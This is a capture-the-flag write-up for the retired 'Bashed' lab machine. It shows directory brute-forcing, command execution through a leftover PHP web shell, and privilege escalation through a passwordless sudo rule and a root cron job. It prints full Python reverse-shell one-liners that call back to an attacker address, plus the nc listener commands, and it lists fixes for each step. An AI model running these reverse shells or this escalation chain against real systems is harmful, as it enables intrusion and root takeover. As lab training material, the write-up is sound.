Bashed
Summary
I brute-forced hidden web paths to discover a development PHP web shell left running on the production server, executed arbitrary OS commands as the web service account, then chained two additional misconfigurations—an unrestricted passwordless sudo rule and a root cron job running scripts from an externally writable directory—to escalate all the way to root without ever cracking a password.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
Discovers /dev/ directory and phpbash.php; adjust wordlist path as needed.
$ gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50FixRemove the phpbash development web shell from the production serverCritical
Exact commands 2
Confirm RCE as www-data. Shell also accepts GET — browser navigation works equally.
$ curl -sS --max-time 8 -X POST --data-urlencode 'cmd=whoami; id; hostname; pwd' http://$TARGET/dev/phpbash.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)User flag readable by www-data -> <user.txt>
$ curl -sS --max-time 8 -X POST --data-urlencode 'cmd=cat /home/arrexel/user.txt' http://$TARGET/dev/phpbash.phpExact commands 3
Reveals: (scriptmanager: scriptmanager) NOPASSWD: ALL
$ curl -sS --max-time 8 -X POST --data-urlencode 'cmd=sudo -l 2>&1' http://$TARGET/dev/phpbash.phpConfirms scriptmanager owns /scripts/ and its contents.
$ curl -sS --max-time 8 -X POST --data-urlencode 'cmd=sudo -u scriptmanager ls -la /scripts/' http://$TARGET/dev/phpbash.phpReveals root cron executing Python scripts in /scripts/.
$ curl -sS --max-time 8 -X POST --data-urlencode 'cmd=cat /etc/crontab 2>&1' http://$TARGET/dev/phpbash.phpFixRemove the web service account's unrestricted passwordless sudo rightsHigh
Exact commands 2
Run on my machine (tun0 interface) before the next command.
$ nc -lvnp 4444Replace $ATTACKER_IP with your tun0 address. Delivers interactive shell as scriptmanager.
$ curl -sS --max-time 8 -X POST --data-urlencode 'cmd=sudo -u scriptmanager python3 -c "import socket,subprocess,os;s=socket.socket();s.connect((\"'"$ATTACKER_IP"'\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])"' http://$TARGET/dev/phpbash.phpExact commands 2
Run inside the scriptmanager shell from step 4. Replace $ATTACKER_IP with your tun0 address.
$ echo 'import socket,subprocess,os;s=socket.socket();s.connect(("'"$ATTACKER_IP"'",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' > /scripts/pwn.pyOn my machine — catch the root reverse shell when cron fires (typically within 1-2 minutes).
$ nc -lvnp 5555FixPrevent root cron jobs from executing scripts in user-writable directoriesCritical
Exact commands 2
Confirms uid=0(root) in the caught shell.
$ idRoot flag -> <root.txt>
$ cat /root/root.txt